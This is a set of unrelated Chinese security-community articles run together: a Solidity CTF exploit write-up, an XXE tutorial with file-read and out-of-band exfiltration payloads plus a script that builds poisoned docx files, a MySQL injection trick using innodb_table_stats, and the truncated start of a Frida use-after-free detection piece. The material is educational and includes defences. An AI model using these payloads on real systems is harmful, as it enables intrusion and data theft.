* 直接重置被管理的exsi密码，在exsi上做中间人，其实也是可以获取虚拟机流量的，运气好就渗透进去了。
### 最后
[《云安全原理与实践》](https://yq.aliyun.com/articles/212736)
没上过正经大学，这本教材看了能学到不少思路 | 社区文章 |
作者：[启明星辰ADLab](https://mp.weixin.qq.com/s/UXK8-ZN7mSUI3mPq2SC6Og "启明星辰ADLab")
### 1 概述
随着区块链、以太坊技术的兴起和不断成熟，安全问题也随之而来，今年智能合约漏洞已经让多个区块链项目价值瞬间归零。智能合约的开发语言、设计模式、运行机制都与传统应用有较大差异，它既有传统的安全风险(如整数溢出等)，又有独特的新型风险(如私有变量不“私有”和特殊类型变量覆盖等)。研发人员如果不能深刻理解这些核心原理，则很容易编写出存在漏洞的智能合约；恶意合约也可以通过这种方法留下隐蔽漏洞，欺骗合约投资人并暗地里收割。本文以WCTF2018的一道智能合约漏洞赛题[1]为例，从solidity语言特性出发，深度解读以太坊智能合约漏洞原理和攻击利用。
### 2 漏洞合约分析
该合约是一个银行类合约，用户可以存入eth到该合约，并在存入到期之后取出。原题对该合约描述如下：
该合约中存在漏洞，攻击者利用漏洞可以盗取合约中的所有余额。漏洞涉及到整数溢出、变量覆盖以及由变量覆盖导致的变量相互影响。
合约源码如下：
要提取合约的全部合约余额，confiscate 函数是关键，但该函数调用成功必须满足：
* msg.sender == owner
* secret == _secret
* now >= balances[account].deposit_term + 1 years
攻击者可以通过合约存储访问、整数溢出和变量覆盖来依次构造上述条件。
#### 2.1 solidity全局变量存储
在BelluminarBank合约中，一共有4个全局变量，分别是balances、head、owner、secrete。它们的默认访问属性是private，看上去只有合约自己能够访问这些变量。事实上，合约的所有变量数据都是公开存储在链上的区块中，任何人都可以通过访问存储数据来获得这些变量的值[2]。在solidity语言中，全局变量都存储在storage中，根据solidity的变量存储规则，定长的变量在storage中是顺序存储的，数组变量在storage中其索引位置存放的是其数组长度（参见[3]）。该合约storage中的变量存储布局如下：
对于在公链部署的合约，可通过以太坊web3接口`web3.eth.getStorageAt(co ntractAddress,
index)`获取某个合约指定storage索引的数据。
因此，secrete并不是一个不可获取的私有数据，攻击者只需要访问该合约storage中的数据就可以构造confiscate 函数的`secret ==
_secret`条件。
#### 2.2 solidity全局变量覆盖
BelluminarBank合约中的confiscate函数要求调用者必须是合约拥有者才可以进行余额提取操作，看上去攻击者是无法提取的。然而，由于solidity语言的局部变量存储特性，导致本合约的owner变量可以被修改，覆盖问题出现在
invest 函数中。
首先来看solidity局部变量覆盖全局storage的问题。solidity语言的变量存储有一个特性，即数组、映射、结构体类型的局部变量默认是引用合约的storage
[4]，而全局变量默认存储在storage中。因此，如果这些局部变量未被初始化，则它们将直接指向storage，修改这些变量就是在修改全局变量。
以如下的简单合约test为例，函数test1中定义了一个局部结构体变量x，但是没有对其进行初始化。根据solidity的变量存储规则，这时候x是存储在storage中的，而且是从索引0开始，那么对其成员变量x,y赋值之后，刚好覆盖了全局变量a和b。有兴趣可以在
remix 中在线对本合约进行调试。
pragma solidity 0.4.24;
contract test {
struct aa{
uint x;
uint y;
}
uint public a = 4;
uint public b = 6;
function test1() returns (uint){
aa x;
x.x = 9;
x.y = 7;
}
}
在invest函数的else分支中，使用了一个局部结构变量investment。该局部变量在当前执行分支中并没有被初始化，默认指向合约的storage。执行中对该变量的成员赋值就会直接覆盖全局变量，覆盖关系为：
同时，在变量覆盖之前必须满足如下条件，即存款期限是最末一个存款记录的期限后一年：`deposit_term >=
balances[balances.length - 1].deposit_term + 1
years`。由于deposit_term是用户提供的，轻松就可以满足。
所以，通过精心构造invest函数的参数就可以覆盖stroage中的sender，从而改变该合约的拥有者为攻击者，突破confiscate
函数的msg.sender == owner限制。
#### 2.3 整数溢出
在BelluminarBank合约源码的confiscate函数还有另外一个如下的时间限制，即必须在存款满一年后才能提取，`now >=
balances[account].deposit_term + 1 years`。
上一节用于全局变量覆盖的存款操作使得balances中最末一个存储记录的期限已经是1年后，即攻击者至少在2年后才能调用confiscate函数进行提款。与此同时，deposit_term在赋值给局部变量的时候会把全局变量head覆盖为超大的数，这也使得后续的`for
(uint256 i = head; i <= account; i++)`循环处理无法提取全部的存款，因为head不为0。
显然，必须把head覆盖为0才能提取全部的存款，即invest函数的deposit_term参数必须为0。但如果该参数为0，又无法满足invest函数的全局变量覆盖执行的条件`deposit_term
>= balances[balances.length - 1].deposit_term + 1 years`。
仔细分析可发现，如果`balances[balances.length - 1].deposit_term+ 1
years`恰好等于0，则上述的条件恒为真。显然，`balances[balances.length -1].deposit_term`只要取值为`(uint256_max – 1 years +
1)`，就会导致相加后的值为`uint256_max+1`。这个结果会超过uint256的表达空间，产生溢出导致最后的值为0。
因此，攻击者先做第一次存款，把balances最后一项的`deposit_term`设置为特殊值；然后做第二次存款，`deposit_term`传入0值，就能触发整数溢出，绕过变量覆盖条件限制并修改head为0值。
#### 2.4 “变量纠缠”的副作用
在全局变量覆盖中，很容易产生“变量纠缠”现象，从而触发一些容易被忽视的副作用。这里以一个简单合约test为例，函数testArray中依然存在结构体局部变量a覆盖全局变量x的情况。但由于x是数组变量，其直接索引的storage存储位置仅存储其数组长度，也就是a.x只会覆盖x的数据长度，而a.y将覆盖变量num。
在testArray函数中，赋值操作a.x =
5时，因为x.length与变量a.x处于同一存储位置，赋值后数组x的长度变成了5。接下来，赋值a.y，并将变量a加入到数组x。所以变量a实际上加入到了数组x索引为5的位置。如果调试testArray函数执行，会发现在函数执行完毕之后，x[5].x
= 6, x[5].y = 7。
这是为什么呢？明明代码中赋值写的是 a.x = 5，a.y =
7。这就是全局变量x和局部变量a形成了“纠缠”，首先是局部变量a修改导致全局变量x改变，然后是全局变量x修改导致了局部变量修改，最后把修改后的局部变量又存储到修改后的全局变量。这里即是，赋值操作a.x
= 5时，把数组x的长度变成了5; 接下来x.push操作，实际上是先将该数组x的长度加1，此时a.x = 6; 最后再把a.x = 6,
a.y=7加入到x[5]。所以，存入数据的x就是新数组的长度6。
pragma solidity 0.4.24;
contract test {
struct aa{
uint x;
uint y;
}
aa [] x;
uint public num = 4;
function testArray() returns (uint){
aa a;
a.x = 5;
a.y = 7;
x.push(a);
}
}
### 3 漏洞利用方式
在第2节中对合约
BelluminarBank存在的几个漏洞进行了分析，下面将说明如何利用这个漏洞提取合约的全部余额，这里在Remix在线编译环境中部署该合约，并演示其利用方式。
首先部署合约，在部署参数中设置secrete 为“0x01”，deposit_term为1000，msg.value为 31337 wei。
部署合约后，合约的全局变量如下图所示：
这样，合约目前的余额是 31337 wei，合约拥有者的地址为：0xca35b7d915458ef54 0ade6068dfe2f44e8fa733c。
下面开始需要构造条件使得攻击者可以成功调用confiscate函数。
**步骤1: 覆盖owner并构造整数溢出条件**
要想转走合约余额，首先必须修改合约的owner。利用局部结构体 investment 修改合约owner，需满足条件：
1. account < head or account >= balances.length
2. deposit_term >= balances[balances.length – 1].deposit_term + 1 years
设置攻击者（0x1472…160C）的invest调用参数如下：
* msg.value = 1 wei (因为在合约初始化时owner已经存入一笔金额，所以此时balances数组长度为1，为了不改变balances数组长度，这里依然将其设置为1 we i
* depositsit_term = 2^256 - 1 years = 115792089237316195423570985008687907853269984665640564039457584007913098103936 （在步骤2中需要利用这个数值构造溢出，同时这个值可以使源码中 require 条件得到满足）
* account = 1 (满足条件 account >= balances.length)
调用之后，新的存款记录数据将存放在balances数组索引为1的位置。此时的balances数组情况和全局storage变量情况如下图所示。
可以发现，owner已经修改为攻击者地址，同时head被传入的deposit_term覆盖为一个超大值。
而提取余额是从balances数组中head索引开始的存款记录开始计算数额的。显然，为了提取到合约owner的余额，即balances[0]账户的余额，head必须被覆盖为0。因此，需要进行第二次storage变量覆盖，修改head。
**步骤2: 恢复head并绕过deposit_term限制**
继续设置攻击者调用invest的参数：
* msg.value = 2wei (同样保证balances的长度覆盖后不出现错误)
* deposit_term = 0: 恢复head
* account = 2 (满足条件 account >= balances.length 即可)
因为在步骤 1 中，已经将`balances[1].deposit_term` 设置为 2^256 -1 years，因此在第二次调用 invest
函数时，由于`balances[balances.length - 1].deposit_term + 1
years”`溢出为0满足了require条件，所以可以成功进行第二次覆盖。
这样即满足了调用confiscate函数的条件`msg.sender == owner`，通过读取storage很容易获得secrete，条件`secret
== _secret` 也可以满足，同时还重新覆盖了head使之变为0 。
覆盖之后全局storage变量和balances数组如下图所示：
可以发现head已经修改为0了。
现在来看看第三个条件：
`now >= balances[account].deposit_term + 1 years`
account是传入的数据，目前合约中account数量为3。在前面的invest调用后， `balances[2].deposit_term = 0`。
显然条件 `now >= balances[2].deposit_term + 1 years`
成立，所以在恢复head数据的同时，也绕过了confiscate函数中对于存款期限的判定。接下来只要调用函数confiscate时，设置account 为
2，便可使时间判断条件满足，同时也能提取所有账户的余额。
**步骤3: 增加合约余额**
经过步骤1和步骤2，仿佛攻击者已经可以调用confiscate函数提取所有余额了，然而实际上是不行的。交易会发生回滚，这是为什么呢？
仔细分析前面的数据就会发现，步骤1中msg.value为 1 wei，但是最后balances数组中的balances[1].amount 却变成了 2
wei。这是因为变量覆盖过程中产生了“纠缠”副作用，由于msg.value覆盖balances数组的长度，balances更新前增加了数组长度，数组长度又改变了msg.value，最后导致存入的amount变成了新的数组长度，即2。
所以，每次调用invest函数进行变量覆盖，存款记录的账目金额都比调用者实际支付的msg.value大。下图是两次调用invest之后的balances数组情况。
从图中可以看出，存款记录中的账面值会比实际交易的msg.value多 1 wei。通过confiscate函数计算得到的所有账户总额为31342
wei，而实际的合约账户总余额为 31340 wei。
为了能够将合约中所有余额提取出来，需要增加合约的真实余额，使其同存款记录中的余额相等。然而，通过invest方式增加的余额都会被计入账面余额，那么怎么在不通过invest函数的情况下增加合约的真实余额呢？
答案是selfdestruct函数。
selfdestruct函数会将该合约的余额转到指定账户，然后从区块链中销毁该合约的代码和storage。该函数的官方文档说明[5]如下：
因此，可以构造一个合约，然后在合约中调用selfdestruct函数将合约的余额转给BelluminarBank合约。为此，构造如下合约：
contract donar{
function donar() public payable{
selfdestruct(contractAddr);
}
}
该合约创建后马上销毁，同时将自己的余额转给银行合约。
在 remix 中 编译该合约，同时将 contractAddr替换为银行合约地址。然后 在deploy该合约时，设置 msg.value 为2
wei。当合约创建又销毁之后，其余额（2wei）将转给银行账户，使银行合约的账面余额和实际余额一致，这样confiscate函数调用就能够正确执行。
Donar合约部署设置如下：
合约部署完之后，BelluminarBank 合约余额如下图：
**步骤4：调用confiscate提取合约余额**
经过上面的操作之后，设置confiscate函数的参数为[2，“0x01”]即可将合约的全部余额转走。
### 参考链接
1. <https://github.com/beched/ctf/tree/master/2018/wctf-belluminar>
2. <https://solidity.readthedocs.io/en/v0.4.24/security-considerations.html#private-information-and-randomness>
3. <https://medium.com/aigang-network/how-to-read-ethereum-contract-storage-44252c8af925>
4. <http://solidity.readthedocs.io/en/v0.4.24/frequently-asked-questions.html>
5. <https://solidity.readthedocs.io/en/v0.4.24/introduction-to-smart-contracts.html?highlight=selfdestruct>
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近400个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
# WHAT
## XML
XML是类似HTML的标记语言，但它们有所不同。
* 其一，HTML用于表现数据，关注数据的表现形式，XML用于存储和传输数据，关注数据本身。
* 其二，HTML的标签是预定义的，而XML的标签是自定义的，或者说，任意的。
* 此外，XML语法更严格，其标签必须闭合且正确嵌套，大小写敏感，属性值必须加引号，保留连续空白符。
* `<?xml version="1.0" encoding="UTF-8" standalone="yes"?>` 称为 `XML prolog` ，用于声明XML文档的版本和编码，是可选的，必须放在文档开头。standalone值是yes的时候表示DTD仅用于验证文档结构，从而外部实体将被禁用，但它的默认值是no，而且有些parser会直接忽略这一项。
## DTD
XML元素以形如 `<tag>foo</tag>` 的标签开始和结束，如果元素内部出现如`<`
的特殊字符，解析就会失败，为了避免这种情况，XML用实体引用（entity reference）替换特殊字符。XML预定义了五个实体引用，即用`<
> & ' "` 替换 `< > & ' "` 。
实际上，实体引用可以起到类似宏定义和文件包含的效果，为了方便，我们会希望自定义实体引用，这个操作在称为 Document Type
Defination（DTD，文档类型定义）的过程中进行。DTD是XML文档中的几条语句，用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合，也用来将一些特殊字符和可复用代码段自定义为实体。
DTD有两种形式：
/*
内部 DTD：<!DOCTYPE 根元素 [元素声明]>
外部 DTD：
<!DOCTYPE 根元素 SYSTEM "存放元素声明的文件的URI，可以是本地文件或网络文件" [可选的元素声明]>
<!DOCTYPE 根元素 PUBLIC "PUBLIC_ID DTD的名称" "外部DTD文件的URI">
（ PUBLIC表示 DTD文件是公共的，解析器先分析 DTD名称，没查到再去访问 URI）
*/
## ENTITY
我们可以在元素声明中自定义实体，和DTD类似也分为内部实体和外部实体，此外还有普通实体和参数实体之分：
/*
声明：
<!DOCTYPE 根元素 [<!ENTITY 内部普通实体名 "实体所代表的字符串">]>
<!DOCTYPE 根元素 [<!ENTITY 外部普通实体名 SYSTEM "外部实体的URI">]>
<!DOCTYPE 根元素 [<!ENTITY % 内部参数实体名 "实体所代表的字符串">]>
<!DOCTYPE 根元素 [<!ENTITY % 外部参数实体名 SYSTEM "外部实体的URI">]>
除了 SYSTEM关键字外，外部实体还可用 PUBLIC关键字声明。
引用：
&普通实体名; //经实验，普通实体既可以在 DTD中，也可以在 XML中引用，可以在声明前引用，可以在在元素声明内部引用
%参数实体名; //经实验，参数实体只能在 DTD中引用，不能在声明前引用,不能在元素声明内部引用
*/
## 可能造成的危害
* 本地文件读取
* 内网访问，主机/端口扫描
* 网络访问
* 系统命令执行（特定协议，如PHP的expect）
* 拒绝服务（嵌套引用，指数爆炸）
# HOW
URI支持的协议：
## 利用引用外部DTD发起网络请求
`test.php` 使用外部DTD对XML进行验证，如果XML可以注入且DTD的URI可控，就有发起网络请求的可能。在`192.168.1.2:80`
有Web服务而`192.168.1.3:80` 没有，DTD的URI不同时访问 `test.php` 就会得到不同的响应。
test.php
<?php
// error_reporting(0);
$dom = new DOMDocument;
$dom->load('with_external_dtd.xml');
if ($dom->validate()) {echo "validated!\n";}
else echo "invalid!\n";
with_external_dtd.xml
<?xml version="1.0"?>
<!-- 很快返回 validated! -->
<!DOCTYPE note SYSTEM "external_dtd">
<!-- 很快返回 invalid! -->
<!-- <!DOCTYPE note SYSTEM "http://192.168.1.2/"> -->
<!-- 很长一段时间才返回 invalid! -->
<!-- <!DOCTYPE note SYSTEM "http://192.168.1.3/"> -->
<note>Valar Morghulis</note>
external_dtd
<!ELEMENT note (#PCDATA)>
## 利用普通XXE读取文件/访问网络
<?php
$s=<<<string
<!DOCTYPE a [<!ENTITY b SYSTEM "file:///C:/Windows/win.ini">]>
<c>&b;</c>
string;
echo simplexml_load_string($s);
## 利用参数XXE读取文件/访问网络
<?php
$s=<<<string
<!DOCTYPE a [<!ENTITY % b SYSTEM "http://127.0.0.1:8088/evil.txt">%b;]>
<c>&d;</c>
string;
echo simplexml_load_string($s);
// evil.txt : <!ENTITY d SYSTEM "php://filter/convert.base64-encode/resource=C:/Windows/win.ini">
## XXE OOB
如果没有回显也没关系，可以利用外部参数实体将文件内容发送出去。这里注意参数实体引用 `%file;` 必须放在外部文件里，因为根据这条
[规则](https://www.w3.org/TR/xml/#wfc-PEinInternalSubset) ，在内部DTD里，
参数实体引用只能和元素同级而不能直接出现在元素声明内部，否则parser会报错： `PEReferences forbidden in internal
subset` 。这里的`internal subset` 指的是中括号`[]` 内部的一系列元素声明，`PEReferences` 指的应该是参数实体引用
`Parameter-Entity Reference` 。
感觉在技术方面英文的表达力更强，这种情况叫做 `fetch external parsed entities using PEReference`
更好理解。
<?php
$s=<<<string
<!DOCTYPE a [<!ENTITY % xxe SYSTEM "http://127.0.0.1:8088/xxe.txt"> %xxe;]>
string;
simplexml_load_string($s);
/* // http://127.0.0.1:8088/xxe.txt:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=C:/Windows/win.ini">
<!ENTITY % x '<!ENTITY % send SYSTEM "http://127.0.0.1:8088/%file;">'> %x;
%send;
*/
# 真实案例
* 在线文件预览引起的问题，修改docx文件的word/document.xml，添加DTD和实体引用，即可触发。
* WooYun-2014-73321（网易邮箱某处XXE可读取文件）
* WooYun-2014-73439（QQ邮箱XXE可读取任意文件）
* ......
* 直接处理POST XML数据。WooYun-2015-109725（中通某处XXE漏洞可读取服务器任意文件）等很多。许多是直接 `simplexml_load_string` 处理POST进来的数据。可控字符串出现在XML文件里就要引起注意。
* XML处理工具
* WooYun-2014-59911（从开源中国的某XXE漏洞到主站shell）格式化XML。
* WooYun-2015-134057（百度某平台Blind XXE漏洞&可Bool型SSRF攻击）XML检查工具。
* WooYun-2015-135397（搜狗某平台Blind XXE漏洞(读取文件/SSRF/Struts2命令执行) XML检查工具
* WooYun-2014-58381（百度某功能XML实体注入）该功能点提供svg转jpg服务，通过构造特殊svg文件注入。
* WooYun-2014-74069（鲜果网RSS导入Blind XXE漏洞 ）导入OPML文件。
* WooYun-2015-111828（博客园某处XXE可下载任意文件）博客搬家功能，导入XML。
* WooYun-2015-117316（用友人力资源管理软件全版本XXE漏洞 ）登陆与重置密码时使用XML传输数据。
* WooYun-2015-148793（AOL Website XML External Entity(XXE) Vulnerability）xmlrpc service。
* WooYun-2015-156208（国际php框架slim架构上存在XXE漏洞（XXE的典型存在形式））服务端根据请求的 `content-type` 来区别对待提交的数据。`application/x-www-form-urlencoded` 、`application/json` 、`application/xml` 被用不同的方式解析。XML直接调用 `simplexml_load_string` 处理导致漏洞。有趣的是旧版本对该问题做了防范，新版本去除了相关代码，可能是觉得新版本对PHP版本需求在5.5以上。实际上PHP是否解析外部实体与本身版本无关，与编译时libxml库版本有关。
* WooYun-2016-168457（唯品会存在Blind XXE 漏洞）。作者说 `关于XXE,觉得漏洞本身没太多的玩点，比较有意思主要在于：不同语言处理URI的多元化和不同XML解析器在解析XML的一些特性。` ，我觉得有道理。`xfire是流行的webservice开发组件，其在invoke时使用了STAX解析XML导致XML实体注入发生` 。乌云上一大波XXE洞都是这个，详细说明见 WooYun-2016-166751(Xfire文件读取漏洞)。
* WooYun-2014-59911（从开源中国的某XXE漏洞到主站shell）XXE读取到脚本文件`/home/run/ssh_go.sh` ，内含SSH登陆密码 orz。
* 一些其他案例
* [XXE in OpenID: one bug to rule them all, or how I found a Remote Code Execution flaw affecting Facebook's servers](https://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution) 【Facebook OpenID功能点的XRDS XXE】
* [Revisting XXE and abusing protocols](https://sensepost.com/blog/2014/revisting-xxe-and-abusing-protocols/) 的分析者利用该原理在其他OpenID平台结合expect模块实现了RCE。
* [XXE on Windows system …then what ??](https://medium.com/@canavaroxum/xxe-on-windows-system-then-what-76d571d66745) 【XXE+SMB=>内网RCE】
* [Apache Solr XXE漏洞分析 -【CVE-2018-8026 】](https://xz.aliyun.com/t/2448)
* [Phone Call to XXE via Interactive Voice Response](https://hackerone.com/reports/395296) 【打个电话也能XXE :)】
# 发现XXE
尝试注入特殊字符，使XML失效，引发解析异常，明确后端使用XML传输数据。
* 单双引号 `' "` 。XML的属性值必须用引号包裹，而数据可能进入标签的属性值。
* 尖括号`< >`。XML的开始/结束标签用尖括号包裹，数据中出现尖括号会引发异常。
* 注释符 `<!--` 。XML使用 `<!-- This is a comment -->` 作注释。
* `&` 。& 用于引用实体。
* CDATA 分隔符`]]>` 。`<![CDATA[foo]]>` 中的内容不被parser解析，提前闭合引发异常。
尝试利用实体和DTD。
* 引用外部DTD文件访问内网主机/端口。`<!DOCTYPE a SYSTEM "http://127.0.0.1:2333">` （看响应时间）
* 引用外部DTD文件访问外网。`<!DOCTYPE a SYSTEM "http://vps_ip" >`
* 引用内部实体。`<!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>`
* 外部实体读本地文件。`<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>`
* 外部实体访问内网主机/端口。`<!DOCTYPE a SYSTEM "http://192.168.1.2:80">`（看响应时间）
* 外部实体访问外网。`<!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]><a>&xxe;</a>`
* 判断问题存在可以OOB提取数据。
# 生成恶意Word文档
上面提到的多个案例都需要用到自定义DTD的docx文件，有个名为 [XXEGen](https://buer.haus/xxegen/)
的在线网站可以方便地生成和监听（也可自定义监听地址），从而方便快速地测试XXE是否存在，但目前看来还不支持自定义DTD，如果需要用到OOB之类的技术，可能就不太方便。
所以我写了个小脚本，可以用来生成一个正常docx文件，然后注入自定义的DTD和实体引用。另外新版的word软件默认禁用DTD，trigger
函数还可以本地测试下word文件是否有问题。
其实修改 docx 文件的原理很简单，手动也可以做。解压 demo.docx 到 demo文件夹 ，直接修改
`demo/word/document.xml` 文件内容，全选 demo 文件夹中的文件，使用 7zip 的仅存储方式压缩成 demo2.docx 即可。
<?php
// by https://github.com/findneo
function genword($filename,$filecontent){
$word = new COM("word.application") or die("Unable to instantiate Word");
$word->Visible = 0;//保持程序在后台运行
$word->Documents->Add();//新建Word文档
$word->Selection->TypeText($filecontent);//写入指定内容
$word->Documents[1]->SaveAs(getcwd()."/".$filename);//保存到指定路径
$word->Quit();//退出程序
}
function poisonWord($filename,$flag,$dtd,$entity_reference) {
$zip = new ZipArchive();
$zip->open($filename);
$xml=$zip->getFromName('word/document.xml');
$prolog='<?xml version="1.0" encoding="UTF-8" standalone="yes"?>';
$evilxml=str_replace([$prolog,$flag],[$prolog.$dtd,$flag.$entity_reference],$xml);//构造恶意XML
$zip->deleteName('word/document.xml');
$zip->addFromString("word/document.xml",$evilxml);//更新docx文件
$zip->close();
}
function trigger($filename){
$zip = new ZipArchive();
$zip->open($filename);
$xml=$zip->getFromName('word/document.xml');
$doc_xml = new DOMDocument();
$doc_xml->loadXML($xml); //加载word文档
$zip->close();
return $doc_xml->textContent; //读取文档内容
}
//在这里定义想要添加的DTD内容和想要在XML中引用的实体
$dtd='<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "http://127.0.0.1:8088/?findneo"><!ENTITY int "XXE">]>';
$entity_reference="&xxe; ∫ IS EXCITING!";
$name="demo.docx";//生成文件的文件名
$flag="Across the Great Wall we can reach every corner in the world.";//文件内容，实体在该内容附近引用。
genWord($name,$flag);//生成一个指定内容和文件名的正常docx文件
poisonWord($name,$flag,$dtd,$entity_reference);//向正常文件注入DTD和实体引用，生成恶意文件
echo trigger($name);//加载文件，测试效果
//若程序不能正常运行，可尝试在 php.ini 末尾添加以下路径
//extension="php_com_dotnet.dll 路径"; extension="php_mbstring.dll 路径"
?>
# 防御
彻底禁用DTD是最好的，退一步，禁用外部实体/外部DTD也可以。具体参考 [XML_External _Entity_
(XXE)_Prevention_Cheat_Sheet](https://www.owasp.org/index.php/XML_External_Entity_\(XXE)_Prevention_Cheat_Sheet)
。
* 禁用外部实体 ( <http://cn2.php.net/libxml_disable_entity_loader> 等)
* 对于PHP来说，尽管不同环境下`simplexml_load_string()` 默认行为并不一致，但为了安全应当总是`libxml_disable_entity_loader();` 。
* 检验数据来源，过滤数据
PHP及其他语言或框架，是否默认解析外部实体，解析方式和在特定场景下的解析表现，与其使用的 libxml2
版本有关（如果是基于libxml2的话），也与XML解析器及其配置有关。就PHP而言，`libxml2 Version`
可以在phpinfo里看，本文使用的是`2.7.8` 。
这可能是一个误解的结果。
> 在slimphp2中，官方是对这块进行一定处理了（。。。一些代码。。。）不知为何在3.0版本中官方就无视这个问题了。 我猜可能有两个原因：
>
>
> 1.官方注意到了这个问题，但认为3.0版本需求的php版本在5.5以上，而错以为5.5以上的php就已经不存在XXE的隐患了。但实际上XML外部实体的解析，和php版本并无关系，而是和编译时的libxml库版本有关。
>
> 2.官方尚未注意到这个问题。
>
> 感觉前者的可能性较大。
>
> —— wooyun-2015-0156208
可以结合 [change log](http://www.xmlsoft.org/news.html) 和 [GitHub
commit](https://github.com/GNOME/libxml2/commits) 了解 libxml2 各版本具体改动。
可以看到与主题较相关的有：
v2.9.5: Sep 04 2017
Security:Detect infinite recursion in parameter entities (Nick Wellnhofer)
Prevent unwanted external entity reference
v2.9.2: Oct 16 2014
Security:
Fix for CVE-2014-3660 billion laugh variant (Daniel Veillard),
CVE-2014-0191 Do not fetch external parameter entities (Daniel Veillard)
2.9.1: Apr 19 2013
Activate detection of encoding in external subset
2.9.0: Sep 11 2012
Do not fetch external parsed entities
# 扩展阅读
* [XML Out-Of-Band Data Retrieval](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
* [XMLDTDEntityAttacks.pdf](https://www.vsecurity.com//download/publications/XMLDTDEntityAttacks.pdf)
* [XML External Entity (XXE) Processing](https://www.owasp.org/index.php/XML_External_Entity_\(XXE)_Processing)
* [未知攻焉知防——XXE漏洞攻防](https://security.tencent.com/index.php/blog/msg/69)
* [DTD Cheat Sheet](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
* [DTD - Syntax](https://www.tutorialspoint.com/dtd/dtd_syntax.htm)
* [Information Security / infosec / XXE](https://phonexicum.github.io/infosec/xxe.html)
* [XXE_payloads](https://gist.github.com/staaldraad/01415b990939494879b4)
* [DTD Tutorial](https://www.w3schools.com/xml/xml_dtd_intro.asp)
* [Extensible Markup Language (XML) 1.0 (Fifth Edition)](https://www.w3.org/TR/xml/)
* [about XML entity at msdn](https://msdn.microsoft.com/en-us/library/ms256483\(v=vs.110).aspx)
* Spring MVC xml绑定pojo造成的XXE （乌云papers-1911）
* Oracle盲注结合XXE漏洞远程获取数据（乌云papers-6035） | 社区文章 |
### 作者：C1em0 @D0g3
前言
对于常见的mysql注入来说，我们常利用mysql中自带存储整个数据信息的information_schema数据库来注入查询数据。但是当我们遇到正则将其关键字，例如information禁掉后该如何注入呢？或许你有千万种敏感字符绕过姿势，但是今天我在逛国外网站时发现有人提到了innodb，所以我就测试了下，发现其可以在特定版本中替代information_schema库作为注入数据的突破口。
Mysql>5.6.x
在Mysql中，存储数据的默认引擎分为两类。一类是在5.5.x之前的MyISAM数据存储引擎，另一类是5.5.x版本后的innodb引擎。并且mysql开发团队在5.5.x版本后将innodb作为数据库的默认引擎。
而在mysql
5.6.x版本起，innodb增添了两个新表，一个是innodb_index_stats,另一个是innodb_table_stats。查阅官方文档，其对这两个新表的解释如下图：
从官方文档我们可以发现两个有用的信息：
1. 从5.6.x版本开始，innodb_index_stats和innodb_table_stats数据表时自动设置的。
2. 两个表都会存储数据库和对应的数据表。
本地实验
那么我们来本地实验下，我是用mysql 5.7.2版本来实验
select @@innodb_version;
查看已有的数据库
查看innodb_table_stats表中的数据
select * from mysql.innodb_table_stats;
表中只有两个系统数据库和一个user数据库和对应表名，以及最后更新时间。这个结果很是让人疑惑，既然有数据，但是为什么数据不全，单单只出现了一个数据库。再次查阅官方文档，从文档的实例中发现这两个表其实是用于记录更改和新创建的数据库和表的信息，但准确的说是保存最近的数据库变动记录，但是具体会保留多久呢？官方文档是写的是InnoDB
Persistent Statistics
Tables（永久记录表）。观察表中显示user数据库是11月4号创建的，而笔者测试的时候是11月14号，中间相隔10天。那么这里我们再次创建一个inno_test的数据库。
发现也被记录了下来。于是我们就有了取代information_schema的注入payload
select table_name from mysql.innodb_table_stats where database_name=schema();
就能够成功注入。 | 社区文章 |
# 造轮子寻找UAF漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
1. 轮子的核心是使用[Frida](https://www.frida.re/docs/javascript-api/)来实现的。
2. 菜鸡的心得，大神骂的时候温柔点，谢谢^_^
>
> 由于本人没有做过漏洞挖掘(目前苦逼码农)，也没有研究过漏洞原理，就只是听说过大概有两种内存漏洞，一种栈的，一种堆的。这整个文章都是基于我自己的理解，所以很有可能想法理论都是错的，希望大家能指正。
UAF(Use After Free)字面意思就是释放内存后再使用这块释放的内存。
根据自己的理解，写了一个demo如下：
#include <iostream>
#include <unistd.h>
void uaf_printf() {
char *buff = (char *)malloc(1024);
free(buff);
strcpy(buff, "use printf after free memoryn");
printf("%sn", buff);
}
int main(int argc, char *argv[]) {
uaf_printf();
return 0;
}
由于自己也不确定这到底是不是UAF漏洞，然后经过一些复杂的途径，询问大佬，得知这就是一个UAF(暗暗自喜，随手一写就是一个漏洞)。
## 分析
从上面的demo可以看出来，UAF这个漏洞实际上就是释放内存之后再重新使用这块内存。所以我的大致思路就是记录下所有malloc分配的内存的地址，然后记录free的时候传递的地址是多少，然后标记内存的分配释放情况，如果某块内存分配了，直到结束都没有被释放，那么就可能导致内存泄漏；如果某块内存分配了然后释放了，这个时候这个分配的内存再被使用就存在UAF了。
## 开始造轮子
>
> 开始我以为我是第一个想出这种方法的，本来想着自己留着说不定能挖到一个CVE。后面才听大佬说，有很多成熟的堆漏洞检测工具。而我这个轮子不仅效率低，准确率还不如别人的。所以说这是一次失败的造轮子的经历。
既然有了上一步分析的结果，那我们就根据这个结果来造轮子，我们需要实现以下功能：
1. 记录malloc分配的内存的位置，分配内存的大小以及当时堆栈情况
2. 记录free传入的地址，当时的堆栈情况
3. 记录一些常见可以读写内存的函数使用情况(下面代码只实现了`strcpy`和`printf`)
